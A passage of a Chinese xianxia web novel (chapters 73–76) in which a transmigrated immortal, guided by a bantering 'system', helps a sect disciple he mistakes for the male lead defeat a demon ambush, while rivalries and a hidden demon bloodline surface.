但……这应该不属于他的任务范围吧。 出于谨慎,秦越问道:“这些要求不做的话,应该不影响我的任务吧。” 他刚穿过来,系统给他科普任务的时,就告诉他除了上个世界,自己任务完成度都是百分之百。 系统敏锐地捕捉到秦越的意思:[您不会打算……] 要是这些是任务的一环,您还要强迫他们上演活春宫吗?! 失敬了宿主,您才是活阎王。 秦越有点想象不出来“祁鸿羽”会做出这种事。说实话,男主老实地出乎他的意料,乖巧得似乎全身心地信任他。 “对了。”秦越又问道:“他的那个师兄,如果我现在把他杀了,对剧情会有影响吗?” 系统快给他跪了:[别别别,现在还不行。您知道的,这是个虐恋仙侠剧,您把虐字直接扣了是不行的。他师兄后面还得在他们感情中当一下绊脚石。] 秦越:“?” “你有没有搞错,我们不是白月光助攻局的吗?我没理解错的话,本来就是要让白月光不要再遭受这些的。” 系统:[白月光这次又没有失去生命,他这次只是失去了他的自由!] 看见秦越脸冷了下来,系统不敢打哈哈了,[实际上是可以的,但最近局里说了由于某些经常不按套路出牌的宿主,做了一些跟剧情完全不相干的事情,导致小世界bug频出……] 差不多就相当于指名道姓了。 系统苦着脸背过身,安静地当个挂件。 第73章 严正阳开始做最后的“战前动员”。 “这不知是第几次了!”攒动的人群集体转向严正阳,他月白道袍被风吹得猎猎作响,“自各宗门尊者陨落后,妖族愈发不再遮掩自己的野心,诸位请看星坠西北,地脉断绝——聚灵法阵俨然已开启。” 众人哗然,数位年轻修士眼里跃动着愤怒的光,只待一声令下。 祁鸿羽挠头,“严老头嘀嘀咕咕说啥呢,一个字没听懂。啥叫星坠西北,地脉断绝又是什么?” 贺煜臣移开目光扶额,周围有人开始看弱智一样地望向他们了:“课上不是教了么?” “师兄你知道我就没怎么去过。” 祁鸿羽向来不去听太虚神霄宗开设的大课,私底下能坐住听慕温瑜讲几句,已经是他的极限。 贺煜臣伸手指向天际边扭转的星图,“看见了么?星辰都朝西北而坠,证明了法阵的方位就在西北方,至于地脉断绝……因为妖族体质不同,他们聚集大量灵气,却只能从中炼化些微,地脉因此断裂无法修复,你可以理解为竭泽而渔。” 祁鸿羽浑身充满了干劲,他初生牛犊不怕虎,加上周围群情愤然,恨不得冲过去给妖族咣咣几脚:“若是剑尊还在,何时会轮到妖族如此猖狂!” 贺煜臣听到祁鸿羽提到剑尊名讳,微不可查地皱了下眉,他状似无意地问道:“剑尊虽不在了,但藏在宗内的剑意还在,据说蕴藏着剑尊的九成功力。” “这倒也是。”祁鸿羽很赞同地点头,“慕温瑜说过那道剑意就在主峰之中。哼,必要时定要让这群妖族尝尝其中厉害。” 剑意……果然真的存在! 贺煜臣不自觉地捏紧拳头,他追寻的再也不是虚无缥缈的东西。 只是宗内少说主峰也有九座,排查起来着实很困难。贺煜臣想到了秦越,对方看不出深浅,却自称是护宗人,所以他会知道在哪么? 可就算秦越知道,也未必会告诉他。 贺煜臣惊觉自己似乎有点……得寸进尺了,他本来只想借着祁鸿羽的名头,获得私下传授,现在居然开始妄图从对方身上得到剑意的下落。 严正阳算了算时间,差不多了,眼下妖族大部分应该静心吸纳灵气,只余部分护法的妖族。它们每隔几年就要搞这么一出,自然也很清楚修士们绝对会趁此机会剿灭它们。 旁边传来清越鸟鸣,御兽族弟子驾着灵禽列阵而来。为首的蓝衣少女轻抚青鸾羽翼,“严峰主,我等愿打头阵。” 严正阳笑眯眯地抚了抚胡须,他眺望了一下密密麻麻的人,果然一旦各宗门联合起来,形势就一片大好啊。 严正阳:“那就麻烦你们了,我们随后便到。” 蓝衣少女打了个呼哨,灵禽得令朝着法阵法向扑去。 严正阳看着身侧的弟子眼睛都看直了,忍不住敲了敲对方后脑勺,“看啥呢,人家年纪都能做你姥姥了。赶紧出发,别到时候我们宗一只妖都没猎到。” 剑修踏着本命飞剑掠空而去,襟袖翻飞如鹤群振翅。贺煜臣嘱托祁鸿羽:“这是你第一次来,别冲太前,尽量离严峰主近一点,师尊肯定不想你出事……” 祁鸿羽听罢飞得更快,转眼间就钻进人流中,贺煜臣再想找他的踪迹已经晚了。 不过好歹慕温瑜给祁鸿羽防身的东西,对方都好好地带着,应该不能出什么事。 纵然贺煜臣那么安慰自己,可他依旧心急如焚。他不敢想象要是祁鸿羽出了事,慕温瑜会做什么反应。慕温瑜虽做不出迁怒的举措,但自己恐怕此生无法精进了。 周围修士已然杀疯了,不像之前宗门都是单打独斗,这次人数众多,他们甚至担心手慢无。万一一个妖族没有猎到,就要变成宗内耻笑对象了。 而贺煜臣完全无心猎妖,他在人群中追寻着祁鸿羽的身影,就在贺煜臣似乎看见一个很像的背影时,异相陡生。 原本悬于天空的锁链猛地垂落,宛如流行陨石砸向修士。 操纵它的妖族,似乎一点也不忌惮会砸到自己的同族,很多人措手不及被锁链砸入地面,有人反应过来了,试图阻挡却惊恐发现一靠近这个锁链,修为顿时凝滞,下一秒就从空中坠落变成了一滩肉泥。 锁链落到地面后沉寂片刻,又跟有生命一样从地上张牙舞爪地跃起,像章鱼的腕足灵活地将修士逐个击破。 贺煜臣抓住一个急速后退的同门,“你看见祁鸿羽了吗?” 同门腕部已被击碎,本命剑早就握不住,不知丢哪去了,“刚刚他在最前面,但贺师兄你还是快撤吧,前面的人死的差不多了。这锁链好生古怪,我们不是对手!” 贺煜臣的心一下子沉到谷底,锁链戏弄着众人,慢条斯理地在空中击落着修士。 地面上绽开一朵朵血花,遍地都是未死之人的哀嚎。 严正阳左手捞着一个晕过去的弟子,右手拎着一只翅膀断了的灵禽,“撤退,从长计议。” 贺煜臣还没放弃:“可是……” 严正阳严肃道:“这是命令!” 贺煜臣:“锁链能让人修为凝滞,是因为它本就是个抽取灵气的邪物。既然都能将地脉灵气取之殆尽,所以普通人一靠近它,体内的灵气才会瞬间消失了。只要我远离它,就不会有事。” 在一片惨叫中,严正阳坚定地瞪着他,“不行,还轮不到你这种小辈去逞英雄!我知道你想干什么,要是祁鸿羽还活着,我等自会回去救他。现在要做的是止损!” 贺煜臣在可能失去性命和会被慕温瑜厌弃中艰难抉择,只是没等他想明白,就看见跑得快的弟子们又折返回来了。 “怎么了!”严正阳预感大事不好。 弟子们捂着伤口,惊慌失措地说明了情况。 星枢门叛变了! 严正阳一阵头晕目眩,他简直要呕血了,“星枢门?那群术士?就算他们叛变了,你们还打不过一群只会说预言的术士?!” 星枢门这次来只是为他们趋吉避凶。除了卜卦外,都不需要亲自动手。 弟子面露绝望,“不是术士,他们星枢门里早就进了妖族了!不知在里面潜藏了多久,渗透得跟个筛子一样,那群妖族把星枢门的人屠完了,就在营地里守株待兔!” 严正阳看着已经追过来的妖族,一咬牙:“散开,不要走一个方向。” 贺煜臣脸色难看,他明白对方已经做了最坏的打算,能走一个是一个了。可是现在场面反转,人多势众的变成了妖族,他就算逃也不一定能走,不如放手一搏,去找一找祁鸿羽,至少对方身上还有慕温瑜的法器。 贺煜臣朝着之前同门给他指的方向,下定了决心。 “祁鸿羽……” “喂,祁鸿羽!” 紧张和害怕激得贺煜臣血脉偾张,头脑空白,他听到有人唤了好几声祁鸿羽才反应过来。 贺煜臣哑声道:“在哪?” “什么在哪?”秦越盯着贺煜臣,“你没事吧,吓傻了?” 贺煜臣眼珠子僵硬地动了动,视线聚焦后看清了来人。 “你……怎么来了?” 他看不见自己的样子,不知道自己眼眶赤红,神情魂不守舍,看起来憔悴又可怜。 秦越:“别慌。” 他其实刚才没在这里,主要是也没想到妖族一动手,这群修士就跟纸糊似的,兵败如山倒。 秦越本来计划后面来收个尾,替男主演个宏大的场面,扬男主威名,装B不装个大的就太可惜了。 结果等了半天,看见修士被锁链拍蚊子一样拍飞。 贺煜臣没等他说完,用尽了最后力气挤出两个字:“救人。” 秦越不假思索:“好,不过是你去救人。” 贺煜臣愣了片刻,失态地抓住秦越的衣袖,唇瓣颤抖:“我?你在开什么玩笑!我根本做不到!” 情急之下,他已经忘了身份尊卑,脑子一热就扑了过去。 秦越表情平淡地好像被质问的不是他,慢悠悠地笑了一下,“不试试怎么知道呢。” 他反手攥住贺煜臣的手腕,二话不说地不躲不闪迎向天空中飞舞的锁链。 贺煜臣下意识地挣脱了一下,发现根本动不了分毫。他意识到若不是秦越没提防他,自己怕是连秦越的衣摆都碰不到。 眼见夺了无数人性命的锁链越来越近,贺煜臣耳边除了嘈杂的刀剑声,只剩下急速的心跳。 “不能碰到它——”贺煜臣察觉到自己体内的灵气在被快速地吸收,哪怕秦越再厉害,这必然也是两败俱伤的结局。 在这种生死攸关的时候,贺煜臣看见秦越竟然在笑。 “是吗。”秦越幽幽地说:“我想看看这个邪物到底能吃掉多少灵气。” “……你说,它会撑死吗?” 贺煜臣像站在悬崖,走错一步就要摔得粉身碎骨,而他身旁的人居然还有闲情逸致地开玩笑。 赤红的锁链已经清晰倒映在贺煜臣的瞳孔,他说不清现在是什么心情,甚至可以说他觉得有些荒谬。 他偏过头,看着带他去送死的男人。 秦越脸色苍白,不像活人的那种病态的惨白。不说他身份的话,别人会觉得他就是病秧子。 可就是这样的人,他此刻的眼神贺煜臣很难去形容。 红光掠过贺煜臣的眉梢,这个被所有人畏惧的邪物下一刻开始逐渐裂开。与此同时,贺煜臣察觉到自己体内的灵气又回来了。 不对。 不仅仅是他的灵气……还有更多的,更磅礴的灵气顺着秦越接触他的地方传来。 秦越“啊”了一声,有些意兴阑珊地说道:“原来真的会撑死。” 躯壳犹如被禁锢,只有脑子还在缓慢地转动。贺煜臣被迫承受着源源不断的灵气,它们在不停地注入自己的体内,“……这样就行了?” 秦越在他耳边轻声道:“做你想做的吧,没东西能阻止你了。” 贺煜臣想掐一下自己看是不是在做梦,可一抬胳膊才发现秦越还握着他的手。 秦越察觉到他的动作,散漫地望向他:“嗯?在想什么。” 贺煜臣明白了秦越那是什么眼神。 是傲慢。 不是贬义词的傲慢,因为那双眼睛的主人并没有意识到自己的傲慢。 就只是……在他眼里,不论是人族还是妖族,跟稚童打闹没有什么区别。 这种毛骨悚然的感觉,跟他胸口的火灵咒,形成了诡异的对比。 贺煜臣一向是为了目的不择手段,可到了这个时候,他反而一句话也说不出来了。 第74章 秦越误以为贺煜臣担心别人看见了自己,“放心,除了你没人看得见我。” 贺煜臣刚从秦越的目光中回过神,听到这么一句解释,他忽然有些哭笑不得。 在这生死攸关的时候,秦越还记得自己说过不要出现在自己同门前这句话。 秦越他们身后是燃烧的锁链,空中的星图突然震颤起来,它们似乎开始脱离妖族的掌控了。 锁链还不死心,妄图缠绕着贺煜臣的手臂。周围乱糟糟的,所有人都在逃命,没人注意到有人正逆流而上,朝着锁链的中心奔去。 整个地脉的灵气开始往一处倒灌,操纵锁链的妖族似乎想将所有力量集中到一处,将贺煜臣这个烦人的虫子给拍死。 秦越漠然道:“嗯,这样倒也省事许多。” 力量都汇聚在一处,正好一锅端了。 贺煜臣这次根本没有大惊失色的机会,他跟提线木偶一般,被秦越牵着一剑捅穿了锁链的核心所在。 凝聚着此处灵气的核心从破碎的锁链中脱出,贺煜臣隔空将其抓在手中。 系统查看了一眼剧情:[灭妖剧情速通!男主无伤通关,剧情出现大幅度偏离!] 没留给秦越自夸的时间,他看见自己的手指开始变得透明。秦越当初用的化形符箓,本就是天机峰峰主用来问神的一次性物品。他这次大幅度地使用了灵力,超过了符箓所能承载的程度。 但是秦越还要提防有没有残存的妖族余党,可能会在返程的时候找机会跟“祁鸿羽”说一些不该说的。 秦越必须要跟着祁鸿羽,他可不想功亏一篑。 在贺煜臣不明所以的目光中,秦越缩小自己身形,变成了一个……纸片人。 得亏贺煜臣眼疾手快,才没让秦越随风飘出几里地。 秦越:“我累了,你带我回去吧。” 贺煜臣不懂刚刚明显没用出全力的人,为何说自己累了,但他没有刨根问底,小心地托着秦越,毕恭毕敬地道了句得罪了。 秦越被妥善地塞到贺煜臣胸口内兜里,里面虽然比较黑,但是贺煜臣走的很稳当,他不会被晃得头晕目眩。 他还没庆幸几秒,就被什么硬邦邦的东西挤到了后腰。 秦越:“?” 他试探地摸了半天也没摸出是啥东西。 好奇的劲上来了。究竟是什么宝贝,居然能跟他平起平坐地待在男主的口袋里。 秦越:“你在这里放了什么东西,那么硌人?” 贺煜臣猛地反应过来,那里还装着火灵咒的石头。 他忽然有种被抓包的窘迫感,不过好在秦越根本没看清是什么。急于亡羊补牢的贺煜臣脑子一短路,着急忙慌地伸手想把那块石头拿开,他不想让秦越误会,觉得自己一块石头都舍不得扔。 可是他一伸手,就碰到带着体温的皮肤。 ——秦越还在里面。 意识到自己犯傻的贺煜臣进退维谷,手僵在半空中,一时为难起来。 秦越忍无可忍发声,“喂,你是想碾死我,好杀人灭口吗?咱们都各退一步,我不问了,你得饶人处且饶人。” 他郁闷地揉了揉自己后腰,怎么自己问一句对方反应那么大。秦越左思右想,最后猜测这可能是慕温瑜送给祁鸿羽的东西。 既然只要向祁鸿羽提到慕温瑜,对方就脸红心跳,那自己干脆就不问了。 至于为什么秦越知道对方脸红心跳了,因为就在他发问的瞬间,他就窝在“祁鸿羽”的心口,真的快被对方突然如擂鼓般的心跳给吵死了。 秦越:我忍。 至少男主除了陷入热恋外,还是很听教诲的。不是那种谈了恋爱,就无心学习的反面典型。 两个人经过那么一出,彼此间有些尴尬。 贺煜臣在长久的沉默后,没话找话问道:“刚刚没弄疼你吧?” 差点被贺煜臣一激动捏断胳膊的秦越:“……” 这话怎么就听着那么奇怪。 他捏了捏惨遭重击的胳膊,随口道:“愧疚了?” 在原文里,前期除了会跟慕温瑜闹别扭,对其他人嘻嘻哈哈,完全不会拉不下脸面道歉的男主,这时候却安静地像个哑巴。 “抱歉。”贺煜臣一顿,“我能做些什么补偿你么?” 秦越没想到男主忽然那么正经,他便开玩笑:“什么都行吗?” 贺煜臣:“你想要我做什么?只要我能做到的,我都答应你。” 秦越看不到贺煜臣的表情,只能从对方的语气推测出他是认真的。 “我要你告诉太虚神霄宗的人,此次灭妖任务,全是你一己之力扭转乾坤,挽大厦于将倾。” 那块凝结着所有灵气的邪物核心碎片,正安分地待在贺煜臣的掌中。这就是他斩杀邪物的证据。 秦越要祁鸿羽在宗内提升名望,让人们一讲到祁鸿羽,想到的不再是他的冲动无能,这是秦越助力男主当上宗主的第一步。 等到男主日后当上太虚神霄宗的宗主,加上在自己的教导下,修为普天之下无人出其右,他倒是要看看还有谁敢提出要把祁鸿羽除之后快。 那时候可能各宗门巴不得讨好男主,希望祁鸿羽还记得人族的好,不要一扭头钻进妖族的怀抱。 贺煜臣脸色一白,抓住邪物碎片的手猛地收紧,差点被它划伤。 ……他知道秦越希望的是祁鸿羽,一直都只有祁鸿羽罢了。 贺煜臣突然感觉喘不过气来,就像从前为进阶做了很多准备,到头来总是功亏一篑。他想大声质问秦越,祁鸿羽到底哪里好,值得他如此上心。 又是为了什么理由,可以让一个素未蒙面的人,心甘情愿地为祁鸿羽铺好一条路,生怕他磕磕碰碰。 可是自己终究只是一个冒牌货,又有什么资格去说祁鸿羽的不好。尤其他还是借了祁鸿羽的名头,才窥到那么一点光。 贺煜臣闭了闭眼,露出一个自嘲的笑。说到底,其实他还要感谢祁鸿羽。 所以贺煜臣只是故作轻松地笑了一下:“既然这是前辈的要求,我自然从命。”- 这次灭妖之行,各宗门均损失惨重,不少可塑之才都陨落当场。 众人都道太虚神霄宗无相峰大弟子年少有为,不畏妖族,斩杀邪物,日后可堪大任。 实际上这真不怪贺煜臣。 他当时想把邪物核心塞进已经半昏迷的祁鸿羽手中,可是还没等他找到机会,就被严正阳撞了个正着。 加上严正阳亲眼见过他一头扎进战场中心,眼下又看见他手上拿着的核心碎片,小老头激动地直接嚷嚷开了。 贺煜臣心里只有一个念头。 完了,他要惹秦越不高兴了。 贺煜臣根本没心情听周围人的恭维,这些人口中的溢美之词,都是最后秦越质问他的证据。 他浑浑噩噩地回了无相峰待了好几日,而秦越这段时间一直没有再找他。 这种不知道结果的日子,是最难熬的。贺煜臣心不在焉,忽略了重伤初愈回到无相峰的祁鸿羽,若是平日里,作为一个师兄,无论如何他都会嘘寒问暖几句,但他现在自顾不暇,自然也没注意到祁鸿羽的异常。 等到贺煜臣发现了祁鸿羽的魂不守舍,已经半月过去了。 更令贺煜臣奇怪的是,祁鸿羽不仅在躲着慕温瑜,也在躲着他。两人迎面相遇时,祁鸿羽都会避开他,拐到另一条小路上。 这样下去不是办法,慕温瑜憋了半个月最终还是找来了贺煜臣,他旁敲侧击问道:“这次灭妖任务听严峰主说出了些岔子?” 贺煜臣眼观鼻鼻观心,既然慕温瑜不主动提,他也乐得不牵扯进慕温瑜二人的纷纷扰扰。 “妖族此前一直是防御为主,这次它们一反常态,在聚灵大阵开启时,反倒是不顾任何后果,试图跟我们同归于尽。” 慕温瑜其实担忧得要命,他出关时看到自己小徒弟身上没一处好皮肤,心里五味杂陈。可他生性清冷,又自视自己没做错任何事,安慰的话对他来说难于上青天。 趁着祁鸿羽不在,他纠结了半天,还是问贺煜臣:“你师弟……伤势严重么?” 贺煜臣难得无话可说,因为祁鸿羽现在好得不得了,别说又逃课了,前几日被罚也老老实实地领罚了。 祁鸿羽的伤势就是看着严重,其实都是皮外伤,没有伤筋动骨。 “回师尊,师弟这些日子怕是吓到了。毕竟当时情况凶险,纵然是身经百战的人也难免手足无措,更何况师弟是第一次,就遇到这种事。”贺煜臣叹气,朝慕温瑜行礼道:“师尊还是去看看祁师弟吧,即便身体上的伤好了,心结难解。” 慕温瑜还不知道找何种理由去见祁鸿羽,真是瞌睡来了有人送枕头,他顺着贺煜臣给的台阶就下了,“你所言极是,修道途中最怕产生心结。” 讲到这,慕温瑜才想起来关心一下贺煜臣,他示意贺煜臣上前,伸出手搭在了贺煜臣的脉上。 贺煜臣顿了一下,没有甩开慕温瑜的手。 慕温瑜从未表现过如此的“体贴”,导致贺煜臣的皮肤一碰到慕温瑜的指腹时,他简直快要起鸡皮疙瘩了。 贺煜臣尽量忽视对方指腹的触感,目不转睛地盯着慕温瑜放在他手腕上的指节。 慕温瑜的手指没有像秦越那样的骨节分明,更为秀气一些。 而秦越不像是慕温瑜就连指背都透着健康的淡粉色,他更像是冷白的玉石。 虽然秦越看起来没什么温情,而且还经常臭着一张脸,但为人却出乎意料的不错…… 等到贺煜臣意识到自己在想什么的时候,他脸上顿时快烧起来了。 ——自己怎么莫名地将慕温瑜跟秦越比较起来了。 第75章 贺煜臣不自在地缩了一下,慕温瑜的指尖从他腕部滑落,好在慕温瑜已经查看的差不多了,所以没察觉到他的异样。 慕温瑜抿唇,目光带着探究:“你境界突破了?” 贺煜臣没有隐瞒的意思,“是。当时师尊您恰巧在闭关,我没有来得及告知您。” 两人正说着话,慕温瑜忽然噤声。他的视线越过贺煜臣的肩膀,呆呆地朝门口望去。 贺煜臣随着他的视线看到了祁鸿羽站在那,也不知道对方看了多久。 贺煜臣了然地抬了抬眉梢,往后退了几步,跟慕温瑜拉开了距离。 祁鸿羽注视着慕温瑜,显然是误会了什么,他一个字没说就扭头走开了,没给慕温瑜任何挽留的机会。 慕温瑜这次也顾不得师尊的架子了,急匆匆地起身追了过去。大徒弟的进阶,在慕温瑜那只是短暂地占据了他的注意,等到真正想关注的人来了,就会立刻被他抛之脑后。 贺煜臣看惯了他们你追我逃的戏码,两人的身影在窗纸上一晃而过,就彻底不见了。 这次跟往常也没任何区别,贺煜臣无甚兴趣地回到自己住处。 他一推开门,就立刻感知到里面有其余人的气息,表情顿时警觉起来。 待到门被完全打开时,贺煜臣看见了里面的不速之客。 “……秦越?” 秦越气势汹汹的样子,看着像来打架的。 贺煜臣愣了一下,迅速将门掩好,“你怎么来了?” 秦越似乎等了很久,还反客为主地给自己倒了一杯茶,他将茶杯搁在一边,“你不应该比我更清楚吗。” 他边说边走近贺煜臣,直到贺煜臣退无可退,后背紧贴着门。 秦越欺身上前,看着眼前没有波澜的一张脸,他压着火气问道:“你就没什么想说的么?” 这好像是贺煜臣第一次看见秦越生气。 等到这个悬于头顶的铡刀终于落下来的时候,贺煜臣心里却松了口气。 他早知道会有那么一天,但他每时每刻都祈祷这一天晚一点到来。 贺煜臣沉默半晌,喉咙灼烧得难受,像燃烧后只余一撮灰。他挤出一个难看的笑:“我不明白你什么意思。” 秦越:“我记得分开时,我说的很清楚了。为什么现在好名声落在了你师兄头上?” 秦越在脑子里给“祁鸿羽”想了很多个找补的理由,但一想到功亏一篑的罪魁祸首是男主,他又不知道到底该不该骂对方一顿。 为什么要给你师兄造势?你们明明……是不死不休的仇敌关系。 你师兄会不遗余力地抹黑你,会联合一切敌视你的人将你赶尽杀绝。唯有比你师兄更早的站在那个位置上,你才能不走上众叛亲离的老路。 秦越感觉自己简直操碎了心,像个老父亲一样苦口婆心:“我不明白,你师兄对你来说很重要么?” 很重要? 贺煜臣讥讽地抬起嘴角,是慕温瑜理所当然地使唤他保护祁鸿羽,还是祁鸿羽习惯性地让他做一些难以处理的事情。 那这么说的话,他确实挺重要的。 贺煜臣平静地眨了眨眼睛,表情无辜又茫然,“我本来是打算按照你的吩咐做的。可是我想了想,依我正常的修为肯定救不了大家,慕温瑜绝对会怀疑我的。他要是问起来了,我……不太会撒谎。” 秦越:“……啊?” 他都要以为自己听错了。 这个回答离谱中带着合理,的确是一个恋爱脑能做出来的事情。 他开始考虑是“辅佐”男主上位难,还是自己直接把妖族全砍了难,然后天平沉默地倾倒向后者。 秦越这些时日是去修修补补快变透明的身体,顺道苦学了一下天机峰的心法,一口气写了很多化形符箓,以备不时之需,他绝对不打不富裕的仗。 秦越信心满满地回到太虚神霄宗之后,就晴天一个霹雳。 不管哪处主峰,路过的弟子总会有几个诉说那日的凶险,顺便发自内心地感谢了一遍贺煜臣。 如果秦越是在玩游戏的话,他应当能看见反派的声望在+1+1+1…… 贺煜臣还是很迷惘的样子,“对不起。我不知道这事对你那么重要。” 秦越扶额,他何德何能啊。男主不是跟他说抱歉,就是跟他说对不起,他可承受不起。 见到秦越没有反应,贺煜臣讨好似的去拉秦越的手,他似乎不擅长跟人如此亲昵讨饶,动作生硬不得要领。 秦越见到男主眼眶都红了,像是快哭了,只好自己咽下这个哑巴亏。 他眉头一松,无形的压迫感散去了,只余下一点无可奈何的味道。 “算了。你……”秦越顿觉得没意思,他又不能应按着男主按他自己的想法来,男主一身反骨,要不然前期也不能跟白月光上演一出欢喜冤家的戏码。 “你别太相信你师兄。” 从秦越口中听到了自己,贺煜臣眼角一颤,泪水滚了出来。 在秦越看来就是男主默默地哭了。 自己怎么把一个成年男人惹哭了?秦越在百思不得其解下,更多的是尴尬。 他不擅长安慰人,假装淡定地又给自己倒了一杯茶,实则坐立难安。 不知道是不是上天都不忍看他的窘迫,门外传来了一阵脚步声,秦越松了一口气,一句话都没丢下,如蒙大赦地跑了。 没错,是跑了,慢一秒都是对尴尬症的不礼貌。 “师兄。”干裂的嘴唇吐出气音,祁鸿羽眼神空洞,没有敲门,直接推开了贺煜臣的房门。 ……祁鸿羽竟然没有跟慕温瑜在一起。贺煜臣安静地看着祁鸿羽,哪里还有刚才泪眼婆娑的模样。 他面无表情地将泪痕擦去,没有跟往常一样迎上去体恤一番。 祁鸿羽失魂落魄地扶住门框,像走了很远的路,用尽了浑身的力气,他软软地顺着门框滑坐到地上。 贺煜臣神色泠然,他视线静静垂下,看向了无生气的祁鸿羽,一句话没说,转手给自己倒了杯茶。 等到茶水快凉透了,贺煜臣瞥了一眼还跟死狗一样瘫在他门口的祁鸿羽,“师弟不会就打算这样在我这过夜了吧?” 祁鸿羽对贺煜臣的话语没什么反应,他失态地看向自己的手臂。 他颤颤巍巍地按住小臂,想要眼不见心不烦。就是这个位置,在半个多月前的灭妖行动中,被一只……恶心的妖族碰到了。 那是一只蜥蜴妖,有着从眼尾蔓延向颧骨细密的菱形鳞片。它趁祁鸿羽不备,分裂的猩红信子碰到了祁鸿羽的小臂。 可就这短暂的接触,事态朝着深渊滑去了。 蜥蜴妖瞪大了眼睛,信子都忘了收回来,口水吧嗒吧嗒掉了一地。 然后说出了让祁鸿羽懵了的两个字:“少主?” 祁鸿羽当时甚至还朝自己身后看了看,除了看见血肉横飞的尸体,他没看到别的妖族。 蜥蜴妖下一秒干脆利落地跪下,坚定大声地喊道:“少主!” 祁鸿羽抱着自己的头,觉得自己出现了幻听,对方喊他的声音一直盘旋在他脑海里久久不消散。 他想否认这荒谬一切,可他不能否认的时候,蜥蜴妖触碰到他皮肤的地方,生出了人族不该有的黑色鳞片。 祁鸿羽这些日子完全没有好好休息,浑浑噩噩地在宗内乱逛。看到宗内弟子都会避开,他心虚地觉得一定有人,看见当时手臂上的鳞片了。 有人经过他,小声跟同行的人嘀嘀咕咕,祁鸿羽就会潜意识里认为对方在说自己是异类。 他不敢面对慕温瑜,不知道怎么解释自己出去一趟,结果连人都不是了—— 作者有话说:贺煜臣:我哭了,我装的。 秦越:努力努力白努力。 祁鸿羽:喂我花生的第二天。 第76章 祁鸿羽这些日子如行尸走肉,对最亲密的人不知道如何开口,看见到贺煜臣反倒更坦诚一点。 “如果你变成了你最厌恶的东西。你会怎么办?”祁鸿羽强打起精神,挤出几个字。 贺煜臣有时候会觉得祁鸿羽对自己的信任十分地没来由,也许是慕温瑜觉得自己是个听话的棋子,而这种以为自己无害的认知影响到了祁鸿羽,导致对方真以为他们能上演一出兄友弟恭的画面。 想到秦越谈及自己姓名时,清晰地一字一句地告知祁鸿羽不要相信自己。 特别是……他眼中那毫不避讳地忌惮,贺煜臣知道自己心里有一块东西悄无声息地碎了,再也修不好了。 如果祁鸿羽不存在,就好了。 这个极具罪恶感的念头出现的那一霎那,贺煜臣眼神一暗,可往日磋磨的画面地将他最后的温情也斩断。 为什么要在仙洲界讲师徒情深,谈同门之谊,他明明就不是什么好人。 秦越朝他伸出手只是因为对方以为他是祁鸿羽,而自己明知秦越认错了人却还是将错就错。 若不是秦越以为他是祁鸿羽,也不会多看他一眼。 多好笑啊。 贺煜臣想抬一下嘴角,发现自己连自嘲都都做不到。 多可怜啊。 没人真的关心你,没人希望能一举成名,而更可怜的是你有一颗不安分的心。 贺煜臣见祁鸿羽要死不活地半靠在门扉上,心里更是冷得像冻住了。他想要的一切,祁鸿羽都可以轻而易举地得到,而对方却自甘堕落。 他想挥手让祁鸿羽赶紧滚,或者干脆让慕温瑜把人接走。 可祁鸿羽抬眸,还是那副我恨不得去死的模样,他说:“师兄,我不想变成异类。我不想被慕温瑜讨厌,星枢门给出的预言是真的……我到底该怎么办?” 贺煜臣终于肯正眼看向祁鸿羽,虽然他懒得管祁鸿羽,但不得不说这小子最近异常得很,加之他没头没尾说什么异类、预言…… 祁鸿羽的不对劲是从猎妖回来之后开始的,贺煜臣回忆了一下那天的经过。 有件事情确实奇怪,当贺煜臣找到祁鸿羽时,发现他只是受了一些皮肉伤,但找到他的位置已经很深入了。周围全是修真者不完整的尸体,甚至可以说那个地方活物只剩下祁鸿羽一个人。 那时贺煜臣只当是祁鸿羽运气好,可从刚才他那番话来看,那天一定是发生了什么事。 祁鸿羽狠下心来,撩起衣袖,胳膊上的皮肤诡异地扭曲了一瞬,渐渐变成了鳞片的形状。 贺煜臣:“……” 祁鸿羽偷偷瞅了一眼贺煜臣的脸色,发觉对方没有当即跳起来要一刀捅死他,才把心放回肚子了。 “时间还早,师弟不如详细跟我说说?”贺煜臣换了一种温和的腔调问道。 只不过他表情依旧带着冷意,眼里也没有任何的担忧。 让他不存在的方法很多,何必要自己动手。贺煜臣平静地想- 月黑风高,特适合杀人放火。 系统一脸严肃地看着同样一脸严肃的秦越。 [咱可是说好了,不能直接把反派杀了的。]系统期望能换回秦越的“良心。” 秦越坐在太虚神霄宗的一处屋顶上,老神在在地眺望着无相峰:“我答应你了吗?” 系统:[那啥反派现在也没对男主有任何实质性的伤害……] 秦越抬手打断它的话,“他影响了男主在宗内的名声。” 系统深深吸了一口气,反复告诫自己不能跟宿主争吵,它据理力争:[但是男主师兄后期是男主杀回太虚神霄宗的导火索。万一没了这个角色,男主觉得自己在妖族做个少主也挺好的,毕竟只是跟白月光当一对苦命鸳鸯,又没人给他戴绿帽。] 秦越戳了戳系统的脑门,“你说的有理。不过把人修为废了应该不影响这后续的事情……” 系统:[?] [太虚神霄宗比您想得残酷多了。没了修为的下场只有被赶下山门,没有别的出路。男主这点垃圾修为,要不是慕温瑜一直给他开后门,早就被踢出无相峰了。] 秦越不赞同地说:“谁说祁鸿羽修为差的。这小说写得太偏颇了,第一次我见到他就试探了他的修为,说不上一流,但也绝对称不上垫底。” 系统:[您说的一流是指?] 秦越:“和我差不多。” 我的老天奶啊,这世界跟您水平差不多的人存在吗? 系统瞪着他,秦越无辜地望回来。 系统发誓它从秦越脸上看出了不讲理的霸道。 Fine。 系统无话可说,它最后挣扎了下:[您是铁了心一定要弄死反派吗?] 秦越:“祁鸿羽耳根子太软了,性子也……傻。”他想到猎妖那天,对方明显很怕,但一句拒绝的话都没对自己说。 除了刚开始有点慌张地反驳自己,后面简直乖得不行。 祁鸿羽也容易相信别人,感觉贺煜臣骗他往东走,他都不会看西边一眼。 秦越义正严词:“他太容易被骗了,必须想办法解决反派这个问题。” 系统开摆:[您是老大,您说了算。]它思考了一会,狗腿地递上一段剧情,[马上会有一场宗门比试,到时候反派肯定会使坏的。] 实际上系统是顺着秦越的意思讲话,因为反派在前期除了有野心,并没有做过什么伤天害理的事情。 直到反派得知了祁鸿羽是妖族混血,觉得自己的机会来了,才一路黑化到底的。 所以在原文宗门比试里,反派什么都没做,而作为修真界的男主,在这种场合那必须要爆发一下,要不然别人都不知道他才是龙傲天。 结果祁鸿羽确实是打赢了他师兄,但他自己也好不到哪去,浑身筋脉寸断,叫慕温瑜心疼不已,两人第一次踏过了那道名为禁忌的线。 ……他们双修了。 秦越:“宗门比试?” 系统:[对,您可以理解为太虚神霄宗为了预选下一任峰主所举办的。] 而现在的无相峰总共就两位弟子。 